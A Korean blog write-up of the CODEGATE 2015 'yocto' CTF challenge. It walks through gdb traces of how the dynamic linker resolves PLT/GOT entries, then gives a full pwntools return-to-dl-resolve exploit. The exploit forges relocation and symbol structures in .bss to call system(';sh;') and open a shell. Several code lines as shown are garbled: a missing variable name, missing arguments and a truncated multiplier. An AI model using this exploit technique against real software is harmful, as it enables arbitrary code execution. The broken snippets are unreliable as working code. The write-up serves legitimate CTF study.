ipwn

[CODEGATE 2015] yocto (RTDL) 본문

CTF's/CODEGATE

[CODEGATE 2015] yocto (RTDL)

ipwn 2019. 1. 5. 17:03

rtdl 정리할 겸 yocto 라업 써야겠다.


갑자기 든 생각인데 왜 티스토리는 md를 지원 안할까... 컬러스크립트 쓰기 싫은데.. 좀 공부하고 github.io로 갈아타야지


무튼 라업 읽기전에 읽어야 할 문서 2개 땅땅 (got에 왜 libc 주소가 있을까요~~?~를 알자)


https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/



Mitigation


[*'/home/agh04140/pwn/codegate/2015/yocto/yocto'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

아 진짜 보기 싫게 생겼다...

무튼 렐로도 없고 파이도 없고 카나리도 없다. 오직 NX만 존재함



Analysis


void start()
{
  char *v0; // [esp+0h] [ebp-18h]
  char *v1; // [esp+0h] [ebp-18h]
  int v2; // [esp+8h] [ebp-10h]
 
  v2 = 0;
  setvbuf(stdout, 020);
  read(0, glob, 0x50u);
  byte_804960F = 0;
  shutdown(00);
  shutdown(10);
  shutdown(20);
  atoi(glob);
  v0 = strchr(glob, '.');
  if ( v0 )
    atoi(v0 + 1);
  v1 = strchr(v0 + 1'.');
  if ( v1 )
    v2 = atoi(v1 + 1);
  JUMPOUT(__CS__, v2);
}


main도 없이 바로 _start에서 할 거 다 한다.


취약점을 찾을게 아니라 이건 공부하라고 준 binary다.


그래도 분석을 하자.


0. fd들을 닫는다.

1. glob라는 전역변수에 read로 입력을 0x50만큼 받는다.

2. . 으로 구분해서 glob에 입력받은 string을 atoi함수에 넣는다.

3. 2에서 진행된 atoi함수의 return값을 스택에 박아넣는다.

4. 마지막 atoi함수 return값은 eip로 사용 된다.


eip를 대놓고 돌릴 수 있지만 NX도 걸려있어서 할 수 있는게 없어보인다.


사실 있다. RTDL 하면 된다.


RTDL을 공부하기 위해서는 plt와 got가 어떻게 동작하는지 알아야한다.


setvbuf를 기준으로 따라가보자...(위에 링크건 곳에도 있지만 내가 공부하려고 한 번 더 정리함.)


gef➤  disas 0x80482d0
Dump of assembler code for function setvbuf@plt:
   0x080482d0 <+0>: jmp    DWORD PTR ds:0x8049544
   0x080482d6 <+6>: push   0x10
   0x080482db <+11>: jmp    0x80482a0
End of assembler dump.
gef➤  x/dwordx 0x8049544
0x8049544 <setvbuf@got.plt>: 0x080482d6 //jmp plt + 6
gef➤  x/2i 0x80482a0
   0x80482a0: push   DWORD PTR ds:0x8049534
   0x80482a6: jmp    DWORD PTR ds:0x8049538
gef➤  x/dx 0x8049534
0x8049534: 0xf7ffd918 // Link_map struct pointer
gef➤  x/dx 0x8049538
0x8049538: 0xf7fee000 // _dl_runtime_resolve
gef➤



위는 gdb로 메모리를 까본 것이다.


같은 글자, 배경 색으로 분류 해놓은 것인데.. 어째 더 번잡해진듯..


간단하게 정리를 해보겠다.


setvbuf@plt -> *setvbuf@got(setvbuf@plt + 6) -> push 0x10(reloc_offset) -> jmp 0x80482a0(Dynamic Linking의 시작)


push *0x8049534(Link_map struct pointer) -> jmp *0x8049538(_dl_runtime_resolve)


위의 절차를 거치게 된다.


plt와 got를 잘 쫓아가고 _dl_runtime_resolve -> _dl_fixup을 잘 따라가서 어셈블리를 보면 JMPRELSTRTAB의 주소를 구할 수 있다.


아마도 위에 링크 걸어 둔 거랑 어셈블리가 다를텐데 잘 찾아보면 비슷한 게 있다. 바로 그거다.


(위에 링크는 어셈블리에서 STRTAB를 먼저 다루고 JMPREL을 다뤘는데 내 환경에서는 JMPREL을 먼저 다루고 STRTAB를 다뤘다.)


JMPREL

gef➤  x/2x 0x08048270
0x8048270: 0x0804953c 0x00000107
gef➤  
0x8048278: 0x08049540 0x00000207
gef➤  
0x8048280: 0x08049544 0x00000307
gef➤  
0x8048288: 0x08049548 0x00000407
gef➤  
0x8048290: 0x0804954c 0x00000507
gef➤


STRTAB

gef➤  x/10s 0x080481fc
0x80481fc: ""
0x80481fd: "libc.so.6"
0x8048207: "read"
0x804820c: "shutdown"
0x8048215: "stdout"
0x804821c: "atoi"
0x8048221: "strchr"
0x8048228: "setvbuf"
0x8048230: "GLIBC_2.0"
0x804823a: ""
gef➤

JMPREL = 0x08048270

STRTAB = 0x080481fc


JMPREL은 8byte의 Elf32_rel구조체로 이뤄져 있는데 첫 4byte는 함수의 got, 2번째 4byte의 첫 1byte는 재배치 방식이고 나머지는 DYNSYM의 index를 의미한다.


그리고나서 보면 setvbuf의 reloc_offset0x10이므로 JMPREL + 0x10setvbufgot, DYNSYM index, 재배치 방식 담겨져있다.


(0x8048280: 0x08049544 0x00000307 << 요거 말하는 거)


DYNSYM는 동적 심볼 테이블로 import하거나 export하는 심볼들이 담겨있으며 16byte의(4byte 3개, 1byte 2개, 2byte 1개) Elf32_sym의 구조체로 이뤄져있다.


DYNSYM

gef➤  x/4dx 0x0804818c
0x804818c: 0x00000000 0x00000000 0x00000000 0x00000000 // 0
gef➤  
0x804819c: 0x0000000b 0x00000000 0x00000000 0x00000012 // 1
gef➤  
0x80481ac: 0x00000025 0x00000000 0x00000000 0x00000012 // 2
gef➤  
0x80481bc: 0x0000002c 0x00000000 0x00000000 0x00000012 // 3
gef➤  
0x80481cc: 0x00000020 0x00000000 0x00000000 0x00000012 // 4
gef➤  
0x80481dc: 0x00000010 0x00000000 0x00000000 0x00000012 // 5
gef➤


여기서 필요한 값은 맨 처음 4byte의 값과 구조체의 5번째 값. 헷갈릴까봐 볼드체로 두껍게 해놓고 색깔까지 바꿔놓은 저 부분들만 중요하게 보면 된다.


빨갛게 색칠된 저 값들은 STRTAB에서부터 함수의 string까지의 offset을 의미한다.


gef➤  x/s 0x80481fc + 0x2c
0x8048228: "setvbuf"
gef➤


setvbuf의 DYNSYM index인 3번째 index에 존재하는 offset(0x2c)을 STRTAB에 더해주었더니 setvbuf라는 string이 존재하는 것을 확인할 수 있다.


그리고 파랗게 색칠 된 저 부분은 이미 함수가 Loading이 되었는지 아닌지를 판단해준다.


만약 저 부분의 값을 3과 & 연산을 했을 때 0이 아닌 다른 값이 나온다면 이미 Loading이 되었다고 판단, 바로 호출해버린다.


어쨌든 이런 일련의 과정을 거쳐서 eax에 함수의 string을 담은 후, _dl_lookup_symbol_x라는 함수를 호출해준다.


gef➤  x/i $eip
=> 0xf7fe789d <_dl_fixup+189>: call   0xf7fe2a60 <_dl_lookup_symbol_x>
gef➤  x/s $eax
0x8048228: "setvbuf"
gef➤


그런데 이 함수는 분석하기에는 양이 굉장히 방대하다.


그래서 ni로 한 줄 진행시킨 후의 register나 stack의 변화 상태를 보겠다.


gef➤  x/2i $eip-5
   0xf7fe789d <_dl_fixup+189>: call   0xf7fe2a60 <_dl_lookup_symbol_x>
=> 0xf7fe78a2 <_dl_fixup+194>: mov    edi,eax
gef➤  x/x $eax
0xf7fd31b0: 0xf7df9000
gef➤  x/x $esp+0x28
0xffffd5d8: 0xf7e04da8
gef➤


함수 실행 직후에는 eax에 libc의 시작 주소의 포인터가 담겨져있고, esp + 0x28에는 SYMTAB의 주소가 담겨져있다.


(SYMTAB에는 여러가지 offset값이 적혀있다.)


그 뒤에 일련의 작업을 거친 후 SYMTAB에서도 우리가 호출할 함수의 offset값만 뽑아와서 got에 libc의 주소를 담게된다.


gef➤  x/i $eip
=> 0xf7fe78c3 <_dl_fixup+227>: add    eax,DWORD PTR [ebx+0x4]
gef➤  p $eax
$12 = 0xf7df9000
gef➤  x/x $ebx+4
0xf7e04dac: 0x00060360
gef➤  x/i 0xf7df9000 + 0x00060360
   0xf7e59360 <__GI__IO_setvbuf>: push   ebp
gef➤


이렇게 함수를 잘 구해왔다.


여기서 의문점 하나가 생긴다.


과연 _dl_lookup_symbol_x 함수의 인자로 우리가 호출하고자 하는 함수의 이름을 넘겨주면 어떻게 될까? 


이론상으로라면 그 어떤 함수라도 호출할 수 있을 것이다.


이러한 생각을 가지고 exploit을 작성을 해보자.


익스플로잇 스크립트를 올려놓을테니 만약 이 블로그를 보게되시는 분이 계신다면 직접 디버깅하면서 분석해보시기를 추천합니다.


from pwn import *
 
= process('./yocto')
 
#base_addr
dl_linker = 0x80482a0
bss = 0x080495C0
fake_rel = bss + 20
JMPREL = 0x08048270
STRTAB = 0x080481fc
DYNSYM = 0x0804818c
setvbuf_got = 0x08049544
 
#offset
system_addr = bss + 28
fake_dynsym = system_addr + 0x10
str_offset = system_addr - STRTAB
reloc_offset = fake_rel - JMPREL
dynsym_offset = fake_dynsym - DYNSYM
 
pay = ''
pay += '.' + str(reloc_offset)
pay += '.' + str(dl_linker)
pay += ';sh;'
pay = pay.ljust(20,'\x00')
pay += p32(setvbuf_got) + p32(dynsym_offset * 0x10 + 0x7# fake elf32_rel
pay += 'system' + '\x00'*10
pay += p32(str_offset) + p32(0)*# fake dynsym
p.send(pay)
p.interactive()



fake 구조체들을 만들어주고 atoi함수의 return값이 stack에 쌓인다는 점을 이용해서 fake reloc_offset을 넣어준 다음 dl_linker로 eip를 돌려주면 인자도 딱딱 맞아 떨어져서 system(v0);의 형태로 함수가 실행된다.



얼마만의 라업인건지 ㅋ.ㅋ


처음에는 fake elf32_rel구조체랑 fake_dynsym구조체 뒤에 system string을 놓아주고 했었는데 왜인지 자꾸 안됐다.


그래서 디버깅 해보니까 스택에 이상한 값 쌓여서 꼬인듯 보여서 system string의 위치를 바꿔주니까 잘 됐다. 


재밌었다.

'CTF's > CODEGATE' 카테고리의 다른 글

[CODEGATE 2019] aeiou  (0) 2019.03.17
[CODAGATE 2018] heapbabe  (0) 2018.11.13
[CODEGATE 2018] catshop  (0) 2018.05.17
[CODEGATE 2018] betting  (0) 2018.05.17
[CODEGATE 2016] bugbug  (0) 2018.03.26
Comments